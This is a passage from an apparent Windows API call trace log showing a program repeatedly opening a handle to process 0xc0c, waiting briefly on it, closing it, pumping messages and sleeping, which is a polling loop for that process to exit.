dwProcessId=0xc0c) returned 0x9e8 [0256.326] WaitForSingleObject (hHandle=0x9e8, dwMilliseconds=0xa) returned 0x102 [0256.342] CloseHandle (hObject=0x9e8) returned 1 [0256.342] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.342] Sleep (dwMilliseconds=0x1) [0256.357] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9ec [0256.357] WaitForSingleObject (hHandle=0x9ec, dwMilliseconds=0xa) returned 0x102 [0256.373] CloseHandle (hObject=0x9ec) returned 1 [0256.373] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.373] Sleep (dwMilliseconds=0x1) [0256.389] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9ec [0256.389] WaitForSingleObject (hHandle=0x9ec, dwMilliseconds=0xa) returned 0x102 [0256.404] CloseHandle (hObject=0x9ec) returned 1 [0256.404] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.404] Sleep (dwMilliseconds=0x1) [0256.420] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9ec [0256.420] WaitForSingleObject (hHandle=0x9ec, dwMilliseconds=0xa) returned 0x102 [0256.436] CloseHandle (hObject=0x9ec) returned 1 [0256.436] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.436] Sleep (dwMilliseconds=0x1) [0256.451] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9ec [0256.451] WaitForSingleObject (hHandle=0x9ec, dwMilliseconds=0xa) returned 0x102 [0256.467] CloseHandle (hObject=0x9ec) returned 1 [0256.467] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.467] Sleep (dwMilliseconds=0x1) [0256.482] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9f0 [0256.482] WaitForSingleObject (hHandle=0x9f0, dwMilliseconds=0xa) returned 0x102 [0256.498] CloseHandle (hObject=0x9f0) returned 1 [0256.498] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.498] Sleep (dwMilliseconds=0x1) [0256.514] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9f0 [0256.514] WaitForSingleObject (hHandle=0x9f0, dwMilliseconds=0xa) returned 0x102 [0256.529] CloseHandle (hObject=0x9f0) returned 1 [0256.529] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.529] Sleep (dwMilliseconds=0x1) [0256.545] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9f0 [0256.545] WaitForSingleObject (hHandle=0x9f0, dwMilliseconds=0xa) returned 0x102 [0256.560] CloseHandle (hObject=0x9f0) returned 1 [0256.561] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.561] Sleep (dwMilliseconds=0x1) [0256.576] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9f0 [0256.576] WaitForSingleObject (hHandle=0x9f0, dwMilliseconds=0xa) returned 0x102 [0256.592] CloseHandle (hObject=0x9f0) returned 1 [0256.592] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.592] Sleep (dwMilliseconds=0x1) [0256.607] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9f0 [0256.607] WaitForSingleObject (hHandle=0x9f0, dwMilliseconds=0xa) returned 0x102 [0256.623] CloseHandle (hObject=0x9f0) returned 1 [0256.623] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.623] Sleep (dwMilliseconds=0x1) [0256.639] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9f0 [0256.639] WaitForSingleObject (hHandle=0x9f0, dwMilliseconds=0xa) returned 0x102 [0256.654] CloseHandle (hObject=0x9f0) returned 1 [0256.654] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.654] Sleep (dwMilliseconds=0x1) [0256.670] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9f0 [0256.670] WaitForSingleObject (hHandle=0x9f0, dwMilliseconds=0xa) returned 0x102 [0256.685] CloseHandle (hObject=0x9f0) returned 1 [0256.685] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.685] Sleep (dwMilliseconds=0x1) [0256.701] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9f0 [0256.701] WaitForSingleObject (hHandle=0x9f0, dwMilliseconds=0xa) returned 0x102 [0256.717] CloseHandle (hObject=0x9f0) returned 1 [0256.717] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.717] Sleep (dwMilliseconds=0x1) [0256.742] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9f0 [0256.742] WaitForSingleObject (hHandle=0x9f0, dwMilliseconds=0xa) returned 0x102 [0256.748] CloseHandle (hObject=0x9f0) returned 1 [0256.748] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.748] Sleep (dwMilliseconds=0x1) [0256.764] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9f0 [0256.764] WaitForSingleObject (hHandle=0x9f0, dwMilliseconds=0xa) returned 0x102 [0256.779] CloseHandle (hObject=0x9f0) returned 1 [0256.779] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.779] Sleep (dwMilliseconds=0x1) [0256.795] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9f0 [0256.795] WaitForSingleObject (hHandle=0x9f0, dwMilliseconds=0xa) returned 0x102 [0256.810] CloseHandle (hObject=0x9f0) returned 1 [0256.810] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.810] Sleep (dwMilliseconds=0x1) [0256.826] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9f0 [0256.826] WaitForSingleObject (hHandle=0x9f0, dwMilliseconds=0xa) returned 0x102 [0256.842] CloseHandle (hObject=0x9f0) returned 1 [0256.842] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.842] Sleep (dwMilliseconds=0x1) [0256.857] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9f0 [0256.857] WaitForSingleObject (hHandle=0x9f0, dwMilliseconds=0xa) returned 0x102 [0256.873] CloseHandle (hObject=0x9f0) returned 1 [0256.873] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.873] Sleep (dwMilliseconds=0x1) [0256.889] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9f0 [0256.889] WaitForSingleObject (hHandle=0x9f0, dwMilliseconds=0xa) returned 0x102 [0256.911] CloseHandle (hObject=0x9f0) returned 1 [0256.911] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.911] Sleep (dwMilliseconds=0x1) [0256.920] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9f0 [0256.920] WaitForSingleObject (hHandle=0x9f0, dwMilliseconds=0xa) returned 0x102 [0256.935] CloseHandle (hObject=0x9f0) returned 1 [0256.935] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.935] Sleep (dwMilliseconds=0x1) [0256.951] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9f0 [0256.951] WaitForSingleObject (hHandle=0x9f0, dwMilliseconds=0xa) returned 0x102 [0256.967] CloseHandle (hObject=0x9f0) returned 1 [0256.967] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.967] Sleep (dwMilliseconds=0x1) [0256.983] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9f0 [0256.983] WaitForSingleObject (hHandle=0x9f0, dwMilliseconds=0xa) returned 0x102 [0256.998] CloseHandle (hObject=0x9f0) returned 1 [0256.998] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0256.998] Sleep (dwMilliseconds=0x1) [0257.014] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9f0 [0257.014] WaitForSingleObject (hHandle=0x9f0, dwMilliseconds=0xa) returned 0x102 [0257.029] CloseHandle (hObject=0x9f0) returned 1 [0257.029] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.029] Sleep (dwMilliseconds=0x1) [0257.048] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x9f4 [0257.048] WaitForSingleObject (hHandle=0x9f4, dwMilliseconds=0xa) returned 0x102 [0257.060] CloseHandle (hObject=0x9f4) returned 1 [0257.060] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.060] Sleep (dwMilliseconds=0x1) [0257.078] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa04 [0257.078] WaitForSingleObject (hHandle=0xa04, dwMilliseconds=0xa) returned 0x102 [0257.092] CloseHandle (hObject=0xa04) returned 1 [0257.092] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.092] Sleep (dwMilliseconds=0x1) [0257.110] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa1c [0257.110] WaitForSingleObject (hHandle=0xa1c, dwMilliseconds=0xa) returned 0x102 [0257.125] CloseHandle (hObject=0xa1c) returned 1 [0257.125] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.125] Sleep (dwMilliseconds=0x1) [0257.139] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa1c [0257.139] WaitForSingleObject (hHandle=0xa1c, dwMilliseconds=0xa) returned 0x102 [0257.154] CloseHandle (hObject=0xa1c) returned 1 [0257.154] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.154] Sleep (dwMilliseconds=0x1) [0257.170] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa1c [0257.170] WaitForSingleObject (hHandle=0xa1c, dwMilliseconds=0xa) returned 0x102 [0257.185] CloseHandle (hObject=0xa1c) returned 1 [0257.185] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.185] Sleep (dwMilliseconds=0x1) [0257.201] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa1c [0257.201] WaitForSingleObject (hHandle=0xa1c, dwMilliseconds=0xa) returned 0x102 [0257.217] CloseHandle (hObject=0xa1c) returned 1 [0257.217] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.217] Sleep (dwMilliseconds=0x1) [0257.232] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa1c [0257.232] WaitForSingleObject (hHandle=0xa1c, dwMilliseconds=0xa) returned 0x102 [0257.248] CloseHandle (hObject=0xa1c) returned 1 [0257.248] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.248] Sleep (dwMilliseconds=0x1) [0257.264] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa1c [0257.264] WaitForSingleObject (hHandle=0xa1c, dwMilliseconds=0xa) returned 0x102 [0257.279] CloseHandle (hObject=0xa1c) returned 1 [0257.279] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.279] Sleep (dwMilliseconds=0x1) [0257.295] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa1c [0257.295] WaitForSingleObject (hHandle=0xa1c, dwMilliseconds=0xa) returned 0x102 [0257.311] CloseHandle (hObject=0xa1c) returned 1 [0257.311] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.311] Sleep (dwMilliseconds=0x1) [0257.326] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa1c [0257.326] WaitForSingleObject (hHandle=0xa1c, dwMilliseconds=0xa) returned 0x102 [0257.342] CloseHandle (hObject=0xa1c) returned 1 [0257.342] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.342] Sleep (dwMilliseconds=0x1) [0257.357] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa1c [0257.357] WaitForSingleObject (hHandle=0xa1c, dwMilliseconds=0xa) returned 0x102 [0257.373] CloseHandle (hObject=0xa1c) returned 1 [0257.373] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.373] Sleep (dwMilliseconds=0x1) [0257.389] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa34 [0257.389] WaitForSingleObject (hHandle=0xa34, dwMilliseconds=0xa) returned 0x102 [0257.406] CloseHandle (hObject=0xa34) returned 1 [0257.406] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.406] Sleep (dwMilliseconds=0x1) [0257.420] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa48 [0257.420] WaitForSingleObject (hHandle=0xa48, dwMilliseconds=0xa) returned 0x102 [0257.435] CloseHandle (hObject=0xa48) returned 1 [0257.435] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.435] Sleep (dwMilliseconds=0x1) [0257.451] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa54 [0257.451] WaitForSingleObject (hHandle=0xa54, dwMilliseconds=0xa) returned 0x102 [0257.467] CloseHandle (hObject=0xa54) returned 1 [0257.467] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.467] Sleep (dwMilliseconds=0x1) [0257.482] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa54 [0257.482] WaitForSingleObject (hHandle=0xa54, dwMilliseconds=0xa) returned 0x102 [0257.498] CloseHandle (hObject=0xa54) returned 1 [0257.498] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.498] Sleep (dwMilliseconds=0x1) [0257.516] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa54 [0257.516] WaitForSingleObject (hHandle=0xa54, dwMilliseconds=0xa) returned 0x102 [0257.529] CloseHandle (hObject=0xa54) returned 1 [0257.529] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.529] Sleep (dwMilliseconds=0x1) [0257.545] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa58 [0257.545] WaitForSingleObject (hHandle=0xa58, dwMilliseconds=0xa) returned 0x102 [0257.560] CloseHandle (hObject=0xa58) returned 1 [0257.561] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.561] Sleep (dwMilliseconds=0x1) [0257.576] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa58 [0257.576] WaitForSingleObject (hHandle=0xa58, dwMilliseconds=0xa) returned 0x102 [0257.592] CloseHandle (hObject=0xa58) returned 1 [0257.592] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.592] Sleep (dwMilliseconds=0x1) [0257.607] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa58 [0257.607] WaitForSingleObject (hHandle=0xa58, dwMilliseconds=0xa) returned 0x102 [0257.623] CloseHandle (hObject=0xa58) returned 1 [0257.623] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.623] Sleep (dwMilliseconds=0x1) [0257.639] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa58 [0257.639] WaitForSingleObject (hHandle=0xa58, dwMilliseconds=0xa) returned 0x102 [0257.654] CloseHandle (hObject=0xa58) returned 1 [0257.654] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.654] Sleep (dwMilliseconds=0x1) [0257.670] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa60 [0257.670] WaitForSingleObject (hHandle=0xa60, dwMilliseconds=0xa) returned 0x102 [0257.686] CloseHandle (hObject=0xa60) returned 1 [0257.686] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.686] Sleep (dwMilliseconds=0x1) [0257.701] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa60 [0257.701] WaitForSingleObject (hHandle=0xa60, dwMilliseconds=0xa) returned 0x102 [0257.717] CloseHandle (hObject=0xa60) returned 1 [0257.717] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.717] Sleep (dwMilliseconds=0x1) [0257.745] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa70 [0257.745] WaitForSingleObject (hHandle=0xa70, dwMilliseconds=0xa) returned 0x102 [0257.748] CloseHandle (hObject=0xa70) returned 1 [0257.748] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.748] Sleep (dwMilliseconds=0x1) [0257.764] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa70 [0257.764] WaitForSingleObject (hHandle=0xa70, dwMilliseconds=0xa) returned 0x102 [0257.779] CloseHandle (hObject=0xa70) returned 1 [0257.779] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.779] Sleep (dwMilliseconds=0x1) [0257.795] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa70 [0257.795] WaitForSingleObject (hHandle=0xa70, dwMilliseconds=0xa) returned 0x102 [0257.810] CloseHandle (hObject=0xa70) returned 1 [0257.810] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.811] Sleep (dwMilliseconds=0x1) [0257.827] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa78 [0257.827] WaitForSingleObject (hHandle=0xa78, dwMilliseconds=0xa) returned 0x102 [0257.842] CloseHandle (hObject=0xa78) returned 1 [0257.842] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.842] Sleep (dwMilliseconds=0x1) [0257.857] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa78 [0257.857] WaitForSingleObject (hHandle=0xa78, dwMilliseconds=0xa) returned 0x102 [0257.873] CloseHandle (hObject=0xa78) returned 1 [0257.873] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.873] Sleep (dwMilliseconds=0x1) [0257.889] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa78 [0257.889] WaitForSingleObject (hHandle=0xa78, dwMilliseconds=0xa) returned 0x102 [0257.917] CloseHandle (hObject=0xa78) returned 1 [0257.917] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.917] Sleep (dwMilliseconds=0x1) [0257.920] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa78 [0257.920] WaitForSingleObject (hHandle=0xa78, dwMilliseconds=0xa) returned 0x102 [0257.935] CloseHandle (hObject=0xa78) returned 1 [0257.935] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.935] Sleep (dwMilliseconds=0x1) [0257.951] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa78 [0257.951] WaitForSingleObject (hHandle=0xa78, dwMilliseconds=0xa) returned 0x102 [0257.967] CloseHandle (hObject=0xa78) returned 1 [0257.967] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.967] Sleep (dwMilliseconds=0x1) [0257.983] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa78 [0257.983] WaitForSingleObject (hHandle=0xa78, dwMilliseconds=0xa) returned 0x102 [0257.999] CloseHandle (hObject=0xa78) returned 1 [0257.999] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0257.999] Sleep (dwMilliseconds=0x1) [0258.014] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa80 [0258.014] WaitForSingleObject (hHandle=0xa80, dwMilliseconds=0xa) returned 0x102 [0258.029] CloseHandle (hObject=0xa80) returned 1 [0258.029] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.029] Sleep (dwMilliseconds=0x1) [0258.045] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa80 [0258.045] WaitForSingleObject (hHandle=0xa80, dwMilliseconds=0xa) returned 0x102 [0258.061] CloseHandle (hObject=0xa80) returned 1 [0258.061] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.061] Sleep (dwMilliseconds=0x1) [0258.076] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa80 [0258.076] WaitForSingleObject (hHandle=0xa80, dwMilliseconds=0xa) returned 0x102 [0258.092] CloseHandle (hObject=0xa80) returned 1 [0258.092] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.092] Sleep (dwMilliseconds=0x1) [0258.109] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa84 [0258.109] WaitForSingleObject (hHandle=0xa84, dwMilliseconds=0xa) returned 0x102 [0258.123] CloseHandle (hObject=0xa84) returned 1 [0258.123] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.123] Sleep (dwMilliseconds=0x1) [0258.139] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa84 [0258.139] WaitForSingleObject (hHandle=0xa84, dwMilliseconds=0xa) returned 